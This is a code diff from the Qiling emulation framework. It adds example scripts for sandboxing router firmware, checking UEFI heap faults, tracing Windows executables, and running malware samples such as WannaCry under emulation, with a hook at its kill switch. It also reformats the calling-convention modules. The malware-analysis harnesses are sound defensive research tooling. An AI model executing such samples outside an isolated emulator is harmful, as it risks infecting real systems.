connection.send('192.168.170.169'.encode())
|
||||
else:
|
||||
break
|
||||
|
||||
data = ""
|
||||
finally:
|
||||
connection.close()
|
||||
|
||||
def myvfork(ql: Qiling):
|
||||
regreturn = 0
|
||||
ql.log.info("vfork() = %d" % regreturn)
|
||||
|
||||
return regreturn
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.add_fs_mapper("/dev/urandom","/dev/urandom")
|
||||
ql.hook_address(patcher, ql.loader.elf_entry)
|
||||
|
||||
# $ gdb-multiarch -q rootfs/bin/httpd
|
||||
# gdb> set remotetimeout 100
|
||||
# gdb> target remote localhost:9999
|
||||
ql.debugger = False
|
||||
|
||||
if ql.debugger == True:
|
||||
ql.os.set_syscall("vfork", myvfork)
|
||||
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True)
|
||||
nvram_listener_therad.start()
|
||||
|
||||
my_sandbox(["rootfs/bin/httpd"], "rootfs")
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
sys.path.append("..")
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.sanitizers.heap import QlSanitizedMemoryHeap
|
||||
|
||||
def my_abort(msg):
|
||||
print(f"\n*** {msg} ***\n")
|
||||
os.abort()
|
||||
|
||||
def enable_sanitized_heap(ql, fault_rate=0):
|
||||
heap = QlSanitizedMemoryHeap(ql, ql.os.heap, fault_rate=fault_rate)
|
||||
|
||||
heap.oob_handler = lambda *args: my_abort(f'Out-of-bounds read detected')
|
||||
heap.bo_handler = lambda *args: my_abort(f'Buffer overflow/underflow detected')
|
||||
heap.bad_free_handler = lambda *args: my_abort(f'Double free or bad free detected')
|
||||
heap.uaf_handler = lambda *args: my_abort(f'Use-after-free detected')
|
||||
|
||||
# make sure future allocated buffers are not too close to UEFI data
|
||||
heap.alloc(0x1000)
|
||||
|
||||
ql.os.heap = heap
|
||||
ql.loader.dxe_context.heap = heap
|
||||
|
||||
def sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG):
|
||||
env = {'FaultType': fault_type}
|
||||
ql = Qiling([path], rootfs, env=env, verbose=verbose)
|
||||
|
||||
enable_sanitized_heap(ql)
|
||||
ql.run()
|
||||
|
||||
if not ql.os.heap.validate():
|
||||
my_abort("Canary corruption detected")
|
||||
|
||||
def usage():
|
||||
print("""
|
||||
Usage: ./uefi_santizied_heap.py <fault-type>
|
||||
Valid fault types:
|
||||
0 - POOL_OVERFLOW_MEMCPY
|
||||
1 - POOL_UNDERFLOW_MEMCPY
|
||||
2 - POOL_OVERFLOW_USER
|
||||
3 - POOL_UNDERFLOW_USER
|
||||
4 - POOL_OOB_READ_AHEAD
|
||||
5 - POOL_OOB_READ_BEHIND
|
||||
6 - POOL_DOUBLE_FREE
|
||||
7 - POOL_INVALID_FREE
|
||||
""")
|
||||
sys.exit(0)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
usage()
|
||||
|
||||
fault_type = bytes([int(sys.argv[1])])
|
||||
rootfs = os.path.join(os.getcwd(), 'rootfs', 'x8664_efi')
|
||||
path = os.path.join(rootfs, 'bin', 'EfiPoolFault.efi')
|
||||
|
||||
sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG)
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x86_windows/bin/UselessDisk.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def stopatkillerswtich(ql: Qiling):
|
||||
print(f'killerswtch found')
|
||||
ql.emu_stop()
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x86_windows/bin/wannacry.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.hook_address(stopatkillerswtich, 0x40819a)
|
||||
ql.run()
|
||||
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import os
|
||||
import argparse
|
||||
import pefile
|
||||
|
||||
from binascii import hexlify
|
||||
from capstone import *
|
||||
|
||||
import sys
|
||||
sys.path.append('..')
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
class colors:
|
||||
if sys.stdout.isatty():
|
||||
BLUE = '\033[94m'
|
||||
GREEN = '\033[92m'
|
||||
YELLOW = '\033[93m'
|
||||
RED = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
else:
|
||||
HEADER = ''
|
||||
BLUE = ''
|
||||
GREEN = ''
|
||||
YELLOW = ''
|
||||
RED = ''
|
||||
ENDC = ''
|
||||
BOLD = ''
|
||||
UNDERLINE = ''
|
||||
|
||||
|
||||
def dump_regs(ql: Qiling):
|
||||
regs = {
|
||||
'eax': ql.arch.regs.eax,
|
||||
'ebx': ql.arch.regs.ebx,
|
||||
'ecx': ql.arch.regs.ecx,
|
||||
'edx': ql.arch.regs.edx,
|
||||
'edi': ql.arch.regs.edi,
|
||||
'esi': ql.arch.regs.esi,
|
||||
'ebp': ql.arch.regs.ebp,
|
||||
'esp': ql.arch.regs.esp
|
||||
}
|
||||
|
||||
if not hasattr(dump_regs, 'regs'):
|
||||
dump_regs.regs = regs
|
||||
|
||||
rtn = ''
|
||||
|
||||
# build string in order
|
||||
for reg in ('eax', 'ebx', 'ecx', 'edx', 'edi', 'esi', 'ebp', 'esp'):
|
||||
val = '{}: {:08X} '.format(reg.upper(), regs[reg])
|
||||
|
||||
if regs[reg] != dump_regs.regs[reg]:
|
||||
rtn += colors.RED + val + colors.ENDC
|
||||
else:
|
||||
rtn += val
|
||||
|
||||
dump_regs.regs = regs
|
||||
|
||||
return rtn
|
||||
|
||||
|
||||
def spaced_hex(data):
|
||||
return b' '.join(hexlify(data)[i:i + 2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8')
|
||||
|
||||
|
||||
def disasm(count, ql: Qiling, address: int, size: int):
|
||||
buf = ql.mem.read(address, size)
|
||||
try:
|
||||
for i in md.disasm(buf, address):
|
||||
return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic,
|
||||
i.op_str)
|
||||
except:
|
||||
import traceback
|
||||
print(traceback.format_exc())
|
||||
|
||||
|
||||
def trace(ql: Qiling):
|
||||
count = [0]
|
||||
ql.hook_code(trace_cb, count)
|
||||
|
||||
|
||||
def trace_cb(ql: Qiling, address: int, size: int, count):
|
||||
rtn = '{:100s}'.format(disasm(count, ql, address, size))
|
||||
if args.reg:
|
||||
try:
|
||||
rtn += dump_regs(ql)
|
||||
except:
|
||||
import traceback
|
||||
print(traceback.format_exc())
|
||||
print(rtn)
|
||||
count[0] += 1
|
||||
|
||||
|
||||
def emulate(path, rootfs, verbose=QL_VERBOSE.DEBUG, enable_trace=False):
|
||||
ql = Qiling([path], rootfs, verbose=verbose)
|
||||
|
||||
if enable_trace:
|
||||
trace(ql)
|
||||
|
||||
ql.run()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description='Trace Windows executable')
|
||||
parser.add_argument("-r", "--reg", help="Dump register values with trace option", action='store_true',
|
||||
default=False)
|
||||
parser.add_argument("-t", "--trace", help="Enable full trace", action='store_true', default=False)
|
||||
parser.add_argument("-R", "--root", help="rootfs", default=None)
|
||||
parser.add_argument("-d", "--dump", help="Directory to dump memory regions to", default="dump")
|
||||
parser.add_argument("-p ", "--profile", help="customized profile",
|
||||
default="qiling/profiles/windows.ql")
|
||||
parser.add_argument('input', nargs='*')
|
||||
args = parser.parse_args()
|
||||
for path in args.input:
|
||||
pe = pefile.PE(path)
|
||||
|
||||
if pe.FILE_HEADER.Machine == 0x14c:
|
||||
mode = 32
|
||||
md = Cs(CS_ARCH_X86, CS_MODE_32)
|
||||
else:
|
||||
mode = 64
|
||||
md = Cs(CS_ARCH_X86, CS_MODE_64)
|
||||
|
||||
# setup default rootfs if option not provided
|
||||
if not args.root:
|
||||
if mode == 32:
|
||||
args.root = os.path.join(os.getcwd(), 'rootfs', 'x86_windows')
|
||||
else:
|
||||
args.root = os.path.join(os.getcwd(), 'rootfs', 'x8664_windows')
|
||||
|
||||
emulate(path, args.root, verbose=QL_VERBOSE.DEBUG, enable_trace=args.trace)
|
||||
+13
-13
@@ -14,20 +14,20 @@ from .vm import BaseVM
|
||||
from .utils import bytecode_to_bytes, runtime_code_detector
|
||||
from ..abi import QlArchEVMABI
|
||||
|
||||
# Code name Release date Release block Opcode supported
|
||||
# Code name Release date Release block Opcode supported
|
||||
|
||||
# Frontier 2015-07-30 0 Yes
|
||||
# Ice Age 2015-09-08 200,000 -
|
||||
# Homestead 2016-03-15 1,150,000 Yes
|
||||
# DAO Fork (unplanned) 2016-07-20 1,920,000 -
|
||||
# Tangerine Whistle (unplanned) 2016-10-18 2,463,000 Yes
|
||||
# Spurious Dragon 2016-11-23 2,675,000 Yes
|
||||
# Byzantium 2017-10-16 4,370,000 Yes
|
||||
# Constantinople 2019-02-28 7,280,000 Yes
|
||||
# Petersburg (unplanned) 2019-02-28 7,280,000 Yes
|
||||
# Istanbul 2019-12-08 9,069,000 Yes
|
||||
# Muir Glacier 2020-01-01 9,200,000 Yes
|
||||
# Berlin TBD TBD Yes
|
||||
# Frontier 2015-07-30 0 Yes
|
||||
# Ice Age 2015-09-08 200,000 -
|
||||
# Homestead 2016-03-15 1,150,000 Yes
|
||||
# DAO Fork (unplanned) 2016-07-20 1,920,000 -
|
||||
# Tangerine Whistle (unplanned) 2016-10-18 2,463,000 Yes
|
||||
# Spurious Dragon 2016-11-23 2,675,000 Yes
|
||||
# Byzantium 2017-10-16 4,370,000 Yes
|
||||
# Constantinople 2019-02-28 7,280,000 Yes
|
||||
# Petersburg (unplanned) 2019-02-28 7,280,000 Yes
|
||||
# Istanbul 2019-12-08 9,069,000 Yes
|
||||
# Muir Glacier 2020-01-01 9,200,000 Yes
|
||||
# Berlin TBD TBD Yes
|
||||
|
||||
|
||||
father_VMs = {
|
||||
|
||||
+114
-114
@@ -7,171 +7,171 @@ from typing import Callable, Sequence, Tuple
|
||||
from qiling.arch.arch import QlArch
|
||||
|
||||
class QlCC:
|
||||
"""Calling convention base class.
|
||||
"""
|
||||
"""Calling convention base class.
|
||||
"""
|
||||
|
||||
def __init__(self, arch: QlArch) -> None:
|
||||
"""Initialize a calling convention instance.
|
||||
def __init__(self, arch: QlArch) -> None:
|
||||
"""Initialize a calling convention instance.
|
||||
|
||||
Args:
|
||||
arch: underlying architecture instance
|
||||
"""
|
||||
Args:
|
||||
arch: underlying architecture instance
|
||||
"""
|
||||
|
||||
self.arch = arch
|
||||
self.arch = arch
|
||||
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int) -> int:
|
||||
"""Get the number of slots allocated for an argument of width `argbits`.
|
||||
"""
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int) -> int:
|
||||
"""Get the number of slots allocated for an argument of width `argbits`.
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def getRawParam(self, slot: int, argbits: int = 0) -> int:
|
||||
"""Read a value of native size from the specified argument slot.
|
||||
def getRawParam(self, slot: int, argbits: int = 0) -> int:
|
||||
"""Read a value of native size from the specified argument slot.
|
||||
|
||||
Note that argument slots and argument indexes are not the same. Though they often correlate
|
||||
to each other, some implementations might use more than one slot to represent a sigle argument.
|
||||
Note that argument slots and argument indexes are not the same. Though they often correlate
|
||||
to each other, some implementations might use more than one slot to represent a sigle argument.
|
||||
|
||||
Args:
|
||||
slot: argument slot to access
|
||||
argbits: argument size in bits (default: arch native size)
|
||||
Args:
|
||||
slot: argument slot to access
|
||||
argbits: argument size in bits (default: arch native size)
|
||||
|
||||
Returns: raw value
|
||||
"""
|
||||
Returns: raw value
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def setRawParam(self, slot: int, value: int, argbits: int = 0) -> None:
|
||||
"""Replace the value in the specified argument slot.
|
||||
def setRawParam(self, slot: int, value: int, argbits: int = 0) -> None:
|
||||
"""Replace the value in the specified argument slot.
|
||||
|
||||
Note that argument slots and argument indexes are not the same. Though they often correlate
|
||||
to each other, some implementations might use more than one slot to represent a sigle argument.
|
||||
Note that argument slots and argument indexes are not the same. Though they often correlate
|
||||
to each other, some implementations might use more than one slot to represent a sigle argument.
|
||||
|
||||
Args:
|
||||
slot: argument slot to access
|
||||
value: new raw value to write
|
||||
argbits: argument size in bits (default: arch native size)
|
||||
"""
|
||||
Args:
|
||||
slot: argument slot to access
|
||||
value: new raw value to write
|
||||
argbits: argument size in bits (default: arch native size)
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def getReturnValue(self) -> int:
|
||||
"""Get function return value.
|
||||
"""
|
||||
def getReturnValue(self) -> int:
|
||||
"""Get function return value.
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def setReturnValue(self, val: int) -> None:
|
||||
"""Set function return value.
|
||||
def setReturnValue(self, val: int) -> None:
|
||||
"""Set function return value.
|
||||
|
||||
Args:
|
||||
val: a value to set
|
||||
"""
|
||||
Args:
|
||||
val: a value to set
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def setReturnAddress(self, addr: int) -> None:
|
||||
"""Set function return address.
|
||||
def setReturnAddress(self, addr: int) -> None:
|
||||
"""Set function return address.
|
||||
|
||||
Args:
|
||||
addr: return address to set
|
||||
"""
|
||||
Args:
|
||||
addr: return address to set
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def reserve(self, nslots: int) -> None:
|
||||
"""Reserve slots for function arguments.
|
||||
def reserve(self, nslots: int) -> None:
|
||||
"""Reserve slots for function arguments.
|
||||
|
||||
This may be used to stage a new frame before executing a native function.
|
||||
This may be used to stage a new frame before executing a native function.
|
||||
|
||||
Args:
|
||||
nslots: number of arg slots to reserve
|
||||
"""
|
||||
Args:
|
||||
nslots: number of arg slots to reserve
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
def unwind(self, nslots: int) -> int:
|
||||
"""Unwind frame and return from function call.
|
||||
def unwind(self, nslots: int) -> int:
|
||||
"""Unwind frame and return from function call.
|
||||
|
||||
Args:
|
||||
nslots: number of arg slots used
|
||||
Args:
|
||||
nslots: number of arg slots used
|
||||
|
||||
Returns: return address
|
||||
"""
|
||||
Returns: return address
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
raise NotImplementedError
|
||||
|
||||
class QlCommonBaseCC(QlCC):
|
||||
"""Calling convention base class that implements parameters access through both
|
||||
registers and the stack. The extending class is resopnsible to implement the rest
|
||||
of the QlCC interface.
|
||||
"""
|
||||
"""Calling convention base class that implements parameters access through both
|
||||
registers and the stack. The extending class is resopnsible to implement the rest
|
||||
of the QlCC interface.
|
||||
"""
|
||||
|
||||
_retreg: int
|
||||
_argregs: Sequence
|
||||
_shadow = 0
|
||||
_retaddr_on_stack = True
|
||||
_retreg: int
|
||||
_argregs: Sequence
|
||||
_shadow = 0
|
||||
_retaddr_on_stack = True
|
||||
|
||||
def __init__(self, arch: QlArch):
|
||||
super().__init__(arch)
|
||||
def __init__(self, arch: QlArch):
|
||||
super().__init__(arch)
|
||||
|
||||
# native address size in bytes
|
||||
self._asize = self.arch.pointersize
|
||||
# native address size in bytes
|
||||
self._asize = self.arch.pointersize
|
||||
|
||||
def __access_param(self, index: int, stack_access: Callable, reg_access: Callable) -> Tuple[Callable, int]:
|
||||
"""[private] Generic accessor to function call parameters by their index.
|
||||
def __access_param(self, index: int, stack_access: Callable, reg_access: Callable) -> Tuple[Callable, int]:
|
||||
"""[private] Generic accessor to function call parameters by their index.
|
||||
|
||||
This method will determine whether the parameter should be accessed on the stack or in a
|
||||
register, and return the appropriate accessor along with the location to access (either a
|
||||
register id or stack address)
|
||||
This method will determine whether the parameter should be accessed on the stack or in a
|
||||
register, and return the appropriate accessor along with the location to access (either a
|
||||
register id or stack address)
|
||||
|
||||
Args:
|
||||
index: parameter index to access
|
||||
stack_access: stack accessor method (either read or write)
|
||||
reg_access: regs accessor method (either read or write)
|
||||
Args:
|
||||
index: parameter index to access
|
||||
stack_access: stack accessor method (either read or write)
|
||||
reg_access: regs accessor method (either read or write)
|
||||
|
||||
Returns: a tuple of the accessor method to use and the location to access
|
||||
"""
|
||||
Returns: a tuple of the accessor method to use and the location to access
|
||||
"""
|
||||
|
||||
if index >= len(self._argregs):
|
||||
raise IndexError(f'tried to access arg {index}, but only {len(self._argregs) - 1} args are supported')
|
||||
if index >= len(self._argregs):
|
||||
raise IndexError(f'tried to access arg {index}, but only {len(self._argregs) - 1} args are supported')
|
||||
|
||||
reg = self._argregs[index]
|
||||
reg = self._argregs[index]
|
||||
|
||||
# should arg be read from a reg or the stack?
|
||||
if reg is None:
|
||||
# get matching stack item
|
||||
si = index - self._argregs.index(None)
|
||||
# should arg be read from a reg or the stack?
|
||||
if reg is None:
|
||||
# get matching stack item
|
||||
si = index - self._argregs.index(None)
|
||||
|
||||
# skip return address and shadow space
|
||||
return stack_access, (self._retaddr_on_stack + self._shadow + si) * self._asize
|
||||
else:
|
||||
return reg_access, reg
|
||||
# skip return address and shadow space
|
||||
return stack_access, (self._retaddr_on_stack + self._shadow + si) * self._asize
|
||||
else:
|
||||
return reg_access, reg
|
||||
|
||||
def getRawParam(self, index: int, argbits: int = 0) -> int:
|
||||
read, loc = self.__access_param(index, self.arch.stack_read, self.arch.regs.read)
|
||||
def getRawParam(self, index: int, argbits: int = 0) -> int:
|
||||
read, loc = self.__access_param(index, self.arch.stack_read, self.arch.regs.read)
|
||||
|
||||
mask = (argbits and (1 << argbits)) - 1
|
||||
mask = (argbits and (1 << argbits)) - 1
|
||||
|
||||
return read(loc) & mask
|
||||
return read(loc) & mask
|
||||
|
||||
def setRawParam(self, index: int, value: int, argbits: int = 0) -> None:
|
||||
write, loc = self.__access_param(index, self.arch.stack_write, self.arch.regs.write)
|
||||
def setRawParam(self, index: int, value: int, argbits: int = 0) -> None:
|
||||
write, loc = self.__access_param(index, self.arch.stack_write, self.arch.regs.write)
|
||||
|
||||
mask = (argbits and (1 << argbits)) - 1
|
||||
mask = (argbits and (1 << argbits)) - 1
|
||||
|
||||
write(loc, value & mask)
|
||||
write(loc, value & mask)
|
||||
|
||||
def getReturnValue(self) -> int:
|
||||
return self.arch.regs.read(self._retreg)
|
||||
def getReturnValue(self) -> int:
|
||||
return self.arch.regs.read(self._retreg)
|
||||
|
||||
def setReturnValue(self, value: int) -> None:
|
||||
self.arch.regs.write(self._retreg, value)
|
||||
def setReturnValue(self, value: int) -> None:
|
||||
self.arch.regs.write(self._retreg, value)
|
||||
|
||||
def reserve(self, nslots: int) -> None:
|
||||
assert nslots < len(self._argregs), 'too many slots'
|
||||
def reserve(self, nslots: int) -> None:
|
||||
assert nslots < len(self._argregs), 'too many slots'
|
||||
|
||||
# count how many slots should be reserved on the stack
|
||||
si = self._argregs[:nslots].count(None)
|
||||
# count how many slots should be reserved on the stack
|
||||
si = self._argregs[:nslots].count(None)
|
||||
|
||||
self.arch.regs.arch_sp -= (self._shadow + si) * self._asize
|
||||
self.arch.regs.arch_sp -= (self._shadow + si) * self._asize
|
||||
|
||||
+61
-61
@@ -3,104 +3,104 @@
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
|
||||
from unicorn.x86_const import (
|
||||
UC_X86_REG_EAX, UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDI,
|
||||
UC_X86_REG_RDX, UC_X86_REG_RSI, UC_X86_REG_R8, UC_X86_REG_R9,
|
||||
UC_X86_REG_R10
|
||||
UC_X86_REG_EAX, UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDI,
|
||||
UC_X86_REG_RDX, UC_X86_REG_RSI, UC_X86_REG_R8, UC_X86_REG_R9,
|
||||
UC_X86_REG_R10
|
||||
)
|
||||
|
||||
from qiling.cc import QlCommonBaseCC
|
||||
|
||||
class QlIntelBaseCC(QlCommonBaseCC):
|
||||
"""Calling convention base class for Intel-based systems.
|
||||
Supports arguments passing over registers and stack.
|
||||
"""
|
||||
"""Calling convention base class for Intel-based systems.
|
||||
Supports arguments passing over registers and stack.
|
||||
"""
|
||||
|
||||
def setReturnAddress(self, addr: int) -> None:
|
||||
self.arch.stack_push(addr)
|
||||
def setReturnAddress(self, addr: int) -> None:
|
||||
self.arch.stack_push(addr)
|
||||
|
||||
def unwind(self, nslots: int) -> int:
|
||||
# no cleanup; just pop out the return address
|
||||
return self.arch.stack_pop()
|
||||
def unwind(self, nslots: int) -> int:
|
||||
# no cleanup; just pop out the return address
|
||||
return self.arch.stack_pop()
|
||||
|
||||
class QlIntel64(QlIntelBaseCC):
|
||||
"""Calling convention base class for Intel-based 64-bit systems.
|
||||
"""
|
||||
"""Calling convention base class for Intel-based 64-bit systems.
|
||||
"""
|
||||
|
||||
_retreg = UC_X86_REG_RAX
|
||||
_retreg = UC_X86_REG_RAX
|
||||
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int) -> int:
|
||||
return max(argbits, 64) // 64
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int) -> int:
|
||||
return max(argbits, 64) // 64
|
||||
|
||||
class QlIntel32(QlIntelBaseCC):
|
||||
"""Calling convention base class for Intel-based 32-bit systems.
|
||||
"""
|
||||
"""Calling convention base class for Intel-based 32-bit systems.
|
||||
"""
|
||||
|
||||
_retreg = UC_X86_REG_EAX
|
||||
_retreg = UC_X86_REG_EAX
|
||||
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int) -> int:
|
||||
return max(argbits, 32) // 32
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int) -> int:
|
||||
return max(argbits, 32) // 32
|
||||
|
||||
def getRawParam(self, slot: int, nbits: int = 0) -> int:
|
||||
__super_getparam = super().getRawParam
|
||||
def getRawParam(self, slot: int, nbits: int = 0) -> int:
|
||||
__super_getparam = super().getRawParam
|
||||
|
||||
if nbits == 64:
|
||||
lo = __super_getparam(slot)
|
||||
hi = __super_getparam(slot + 1)
|
||||
if nbits == 64:
|
||||
lo = __super_getparam(slot)
|
||||
hi = __super_getparam(slot + 1)
|
||||
|
||||
val = (hi << 32) | lo
|
||||
else:
|
||||
val = __super_getparam(slot, nbits)
|
||||
val = (hi << 32) | lo
|
||||
else:
|
||||
val = __super_getparam(slot, nbits)
|
||||
|
||||
return val
|
||||
return val
|
||||
|
||||
class amd64(QlIntel64):
|
||||
"""Default calling convention for POSIX (x86-64).
|
||||
First 6 arguments are passed in regs, the rest are passed on the stack.
|
||||
"""
|
||||
"""Default calling convention for POSIX (x86-64).
|
||||
First 6 arguments are passed in regs, the rest are passed on the stack.
|
||||
"""
|
||||
|
||||
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
|
||||
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
|
||||
|
||||
class ms64(QlIntel64):
|
||||
"""Default calling convention for Windows and UEFI (x86-64).
|
||||
First 4 arguments are passed in regs, the rest are passed on the stack.
|
||||
"""Default calling convention for Windows and UEFI (x86-64).
|
||||
First 4 arguments are passed in regs, the rest are passed on the stack.
|
||||
|
||||
Each stack frame starts with a shadow space in size of 4 items, corresponding
|
||||
to the first arguments passed in regs.
|
||||
"""
|
||||
Each stack frame starts with a shadow space in size of 4 items, corresponding
|
||||
to the first arguments passed in regs.
|
||||
"""
|
||||
|
||||
_argregs = (UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 12
|
||||
_shadow = 4
|
||||
_argregs = (UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 12
|
||||
_shadow = 4
|
||||
|
||||
class macosx64(QlIntel64):
|
||||
"""Default calling convention for Mac OS (x86-64).
|
||||
First 6 arguments are passed in regs, the rest are passed on the stack.
|
||||
"""
|
||||
"""Default calling convention for Mac OS (x86-64).
|
||||
First 6 arguments are passed in regs, the rest are passed on the stack.
|
||||
"""
|
||||
|
||||
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
|
||||
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
|
||||
|
||||
class cdecl(QlIntel32):
|
||||
"""Calling convention used by all operating systems (x86).
|
||||
All arguments are passed on the stack.
|
||||
"""Calling convention used by all operating systems (x86).
|
||||
All arguments are passed on the stack.
|
||||
|
||||
The caller is resopnsible to unwind the stack.
|
||||
"""
|
||||
The caller is resopnsible to unwind the stack.
|
||||
"""
|
||||
|
||||
_argregs = (None, ) * 16
|
||||
_argregs = (None, ) * 16
|
||||
|
||||
class stdcall(QlIntel32):
|
||||
"""Calling convention used by all operating systems (x86).
|
||||
All arguments are passed on the stack.
|
||||
"""Calling convention used by all operating systems (x86).
|
||||
All arguments are passed on the stack.
|
||||
|
||||
The callee is resopnsible to unwind the stack.
|
||||
"""
|
||||
The callee is resopnsible to unwind the stack.
|
||||
"""
|
||||
|
||||
_argregs = (None, ) * 16
|
||||
_argregs = (None, ) * 16
|
||||
|
||||
def unwind(self, nslots: int) -> int:
|
||||
retaddr = super().unwind(nslots)
|
||||
def unwind(self, nslots: int) -> int:
|
||||
retaddr = super().unwind(nslots)
|
||||
|
||||
self.arch.regs.arch_sp += (nslots * self._asize)
|
||||
self.arch.regs.arch_sp += (nslots * self._asize)
|
||||
|
||||
return retaddr
|
||||
return retaddr
|
||||
|
||||
+10
-10
@@ -7,15 +7,15 @@ from unicorn.mips_const import UC_MIPS_REG_V0, UC_MIPS_REG_A0, UC_MIPS_REG_A1, U
|
||||
from qiling.cc import QlCommonBaseCC
|
||||
|
||||
class mipso32(QlCommonBaseCC):
|
||||
_retreg = UC_MIPS_REG_V0
|
||||
_argregs = (UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_A2, UC_MIPS_REG_A3) + (None, ) * 12
|
||||
_shadow = 4
|
||||
_retaddr_on_stack = False
|
||||
_retreg = UC_MIPS_REG_V0
|
||||
_argregs = (UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_A2, UC_MIPS_REG_A3) + (None, ) * 12
|
||||
_shadow = 4
|
||||
_retaddr_on_stack = False
|
||||
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int):
|
||||
return 1
|
||||
@staticmethod
|
||||
def getNumSlots(argbits: int):
|
||||
return 1
|
||||
|
||||
def unwind(self, nslots: int) -> int:
|
||||
# TODO: stack frame unwiding?
|
||||
return self.arch.regs.ra
|
||||
def unwind(self, nslots: int) -> int:
|
||||
# TODO: stack frame unwiding?
|
||||
return self.arch.regs.ra
|
||||
|
||||
+57
-57
@@ -19,81 +19,81 @@ ReadableBuffer = Union[bytes, bytearray, memoryview]
|
||||
|
||||
# Don't assume self is Qiling.
|
||||
class QlCoreStructs:
|
||||
def __init__(self, endian: QL_ENDIAN, bit: int):
|
||||
modifier = {
|
||||
QL_ENDIAN.EL: '<',
|
||||
QL_ENDIAN.EB: '>'
|
||||
}[endian]
|
||||
def __init__(self, endian: QL_ENDIAN, bit: int):
|
||||
modifier = {
|
||||
QL_ENDIAN.EL: '<',
|
||||
QL_ENDIAN.EB: '>'
|
||||
}[endian]
|
||||
|
||||
self._fmt8 = f'{modifier}B'
|
||||
self._fmt8s = f'{modifier}b'
|
||||
self._fmt16 = f'{modifier}H'
|
||||
self._fmt16s = f'{modifier}h'
|
||||
self._fmt32 = f'{modifier}I'
|
||||
self._fmt32s = f'{modifier}i'
|
||||
self._fmt64 = f'{modifier}Q'
|
||||
self._fmt64s = f'{modifier}q'
|
||||
self._fmt8 = f'{modifier}B'
|
||||
self._fmt8s = f'{modifier}b'
|
||||
self._fmt16 = f'{modifier}H'
|
||||
self._fmt16s = f'{modifier}h'
|
||||
